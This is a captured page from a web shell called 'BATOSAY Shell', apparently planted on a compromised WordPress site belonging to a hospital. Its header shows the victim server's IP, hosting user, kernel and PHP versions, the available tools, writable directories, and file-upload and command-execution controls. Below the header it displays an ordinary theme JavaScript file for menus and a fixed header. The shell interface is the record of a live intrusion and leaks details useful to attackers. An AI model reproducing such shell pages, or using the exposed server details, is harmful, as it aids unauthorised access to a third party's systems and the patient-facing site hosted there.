BATOSAY Shell
Server IP : 170.10.162.208  /  Your IP : 216.73.216.129
Web Server : LiteSpeed
System : Linux altar19.supremepanel19.com 4.18.0-553.69.1.lve.el8.x86_64 #1 SMP Wed Aug 13 19:53:59 UTC 2025 x86_64
User : deltahospital ( 1806)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home1/deltahospital/public_html/wp-content/themes/imedica/js/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home1/deltahospital/public_html/wp-content/themes/imedica/js/lib/functions.js
/**
 * Theme functions file
 *
 * Contains handlers for navigation, accessibility, header sizing
 * footer widgets and Featured Content slider
 *
 */
 (function($) {
	 "use strict";
    var body = jQuery('body');
    var _window = jQuery(window);
	var navSocialMenu = jQuery('.imd-mobile-social-menu');
    var navMainMenu = jQuery('#primary-navigation');
    var navTopMenu = jQuery('.imedica-top-navigation');
    var headerMain = jQuery('.header-main');
    // Enable menu toggle for small screens.
    (function () {
        var nav = jQuery('#primary-navigation');
        if (!nav) {
            return;
        }
        var button = nav.find('.menu-toggle');
        if (!button) {
            return;
        }
        // Hide button if menu is missing or empty.
        var menu = nav.find('.nav-menu');
        if (!menu || !menu.children().length) {
            button.hide();
            return;
        }
        jQuery('.menu-toggle').on('click.fw_theme', function () {
            navSocialMenu.removeClass('top-social-toggled-on');
            navTopMenu.removeClass('top-menu-toggled-on');
            nav.toggleClass('toggled-on');
            if (headerMain.hasClass('auto-height')) {
                headerMain.removeClass('auto-height');
            } else {
                headerMain.addClass('auto-height');
            }
        });
        jQuery(window).resize(function () {
            headerMain.removeClass('auto-height');
            nav.removeClass('toggled-on');
        });

    })();
    //top-navigation-mobile-toggle
    (function () {
        var nav = jQuery('.imedica-top-navigation');
        if (!nav) {
            return;
        }
        var button = nav.find('.menu-toggle-top-menu');
        if (!button) {
            return;
        }
        // Hide button if menu is missing or empty.
        var menu = nav.find('.nav-menu');
        if (!menu || !menu.children().length) {
            button.hide();
            return;
        }
        jQuery('.menu-toggle-top-menu').on('click.fw_theme', function () {
            navSocialMenu.removeClass('top-social-toggled-on');
            navMainMenu.removeClass('toggled-on');
            nav.toggleClass('top-menu-toggled-on');
            if (headerMain.hasClass('auto-height')) {
                headerMain.removeClass('auto-height');
            } else {
                headerMain.addClass('auto-height');
            }
        });
        jQuery(window).resize(function () {
            headerMain.removeClass('auto-height');
            nav.removeClass('top-menu-toggled-on');
        });

    })();
    //top social icons mobile menu
    (function () {
        var nav = jQuery('.imd-mobile-social-menu');
        if (!nav) {
            return;
        }
        var button = nav.find('.menu-toggle-imd-top-social');
        if (!button) {
            return;
        }
        jQuery('.menu-toggle-imd-top-social').on('click.fw_theme', function () {
            navTopMenu.removeClass('top-menu-toggled-on');
            navMainMenu.removeClass('toggled-on');
            nav.toggleClass('top-social-toggled-on');
            if (headerMain.hasClass('auto-height')) {
                headerMain.removeClass('auto-height');
            } else {
                headerMain.addClass('auto-height');
            }
        });
        jQuery(window).resize(function () {
            headerMain.removeClass('auto-height');
            nav.removeClass('top-social-toggled-on');
        });

    })();
    /*
     * Makes "skip to content" link work correctly in IE9 and Chrome for better
     * accessibility.
     *
     * @link http://www.nczonline.net/blog/2013/01/15/fixing-skip-to-content-links/
     */
    _window.on('hashchange.fw_theme', function () {
        var element = document.getElementById(location.hash.substring(1));
        if (element) {
            if (!/^(?:a|select|input|button|textarea)$/i.test(element.tagName)) {
                element.tabIndex = -1;
            }
            element.focus();
            // Repositions the window on jump-to-anchor to account for header height.
            window.scrollBy(0, -80);
        }
    });
    jQuery(function () {
        /*
         * Fixed header for large screen.
         * If the header becomes more than 48px tall, unfix the header.
         *
         * The callback on the scroll event is only added if there is a header
         * image and we are not on mobile.
         */
        jQuery(window).resize(function () {
            setFixedHeader();
        });

        jQuery(window).scroll(function () {
            setFixedHeader();
        });

        function getCurrentScroll() {
            return window.pageYOffset || document.documentElement.scrollTop;
        }

        function setFixedHeader() {
            if (_window.width() >= 781) {
                var fixHeader = 80;
                var scroll = getCurrentScroll();
                if (scroll >= fixHeader) {
                    jQuery('header.site-header').addClass('navbar-fixed-top');
                }
                else {
                    jQuery('header.site-header').removeClass('navbar-fixed-top');
                }
            }
        }
        // Focus styles for menus.
        jQuery('.primary-navigation, .secondary-navigation').find('a').on('focus.fw_theme blur.fw_theme', function () {
            jQuery(this).parents().toggleClass('focus');
        });
    });
    _window.load(function () {
        // Arrange footer widgets vertically.
        if (jQuery.isFunction(jQuery.fn.masonry)) {
            jQuery('#footer-sidebar').masonry({
                itemSelector: '.widget',
                columnWidth: function (containerWidth) {
                    return containerWidth / 4;
                },
                gutterWidth: 0,
                isResizable: true,
                isRTL: jQuery('body').is('.rtl')
            });
        }
        // Initialize Featured Content slider.
        if (body.is('.slider')) {
            jQuery('.featured-content').featuredslider({
                selector: '.featured-content-inner > article',
                controlsContainer: '.featured-content'
            });
        }
    });

	/*
	 menu mobile
	 */
	jQuery(window).load(function () {
		var anchor = '.mobile-top-menu ul.nav-menu > li.menu-item-has-children';
		jQuery(anchor).prepend('<b class="caret" <="" a=""><i class="fa fa-fw"></i></b>');
		jQuery('.mobile-top-menu ul.nav-menu li.menu-item-has-children b.caret').click(function () {
			jQuery(this).parent().toggleClass('open');
		});
	});

	jQuery(window).resize(function () {
		jQuery(".ult-carousel-wrapper").each(function () {
			var $this = jQuery(this);
			if ($this.hasClass("ult_full_width")) {
				$this.removeAttr("style");
				var w = jQuery("html").outerWidth();
				var cw = $this.width();
				var left = (w - cw) / 2;
				$this.css({"position": "relative", "left": "-" + left + "px", "width": w + "px"});
			}
		});
	});
	// Fixed header
	jQuery(window).scroll(function () {
		var hPos = jQuery('.site-header-main').height();
		var b = document.body;
		var e = document.documentElement;
		var left = parseFloat(window.pageXOffset || b.scrollLeft || e.scrollLeft);
		var top = parseFloat(window.pageYOffset || b.scrollTop || e.scrollTop);
		var main_header = jQuery('.header-main').outerHeight();
		if (hPos < (top - main_header)) {
			jQuery('.header-fixed').css('top', '0px');
		}
		else {
			jQuery('.header-fixed').css('top', '-80px');
		}
	});
	
 })(jQuery);

Batosay - 2023
IDNSEO Team